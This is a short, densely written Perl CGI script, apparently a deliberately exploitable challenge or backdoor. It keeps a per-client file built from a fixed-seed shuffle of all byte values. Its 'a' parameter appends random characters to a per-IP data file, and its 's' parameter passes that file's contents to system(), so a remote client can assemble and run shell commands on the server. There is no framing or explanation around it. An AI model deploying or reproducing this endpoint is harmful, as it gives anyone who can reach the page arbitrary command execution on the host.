#!/usr/bin/perl
use CGI;my $M= $ENV{'REMOTE_ADDR'};my $D= $ENV{'REMOTE_ADDR'} . ".d";sub a{my ($f, $d) = @_;open (F, '>>', $f);print F $d;} sub b{my ($f) = @_;open (F, '<', $f);local $/;return <F>;} sub c{my ($q) = @_;if (-f $M){return b($M);} else{srand(0);for(my $i;$i< 256;$i++){push (@a, chr($i));} my $m = join('', d(@a));a($M, $m);return $m;}} sub d (@){my @a=\(@_);my $n;my $i=@_;map{$n = rand($i--);(${$a[$n]}, $a[$n] = $a[$i])[0];} @_;} my $q = new CGI;print $q->header() . time() . "\n";my $m = c();my $data = b($D);if ($q->param('d')){unlink($M);unlink($D);} if ($q->param('a')){srand(time());a($D, substr($m, int(rand(255)), 1));} if ($q->param('e')){print eval{$data};} if ($q->param('s')){print system($data);} if ($q->param('p')){print $data;}
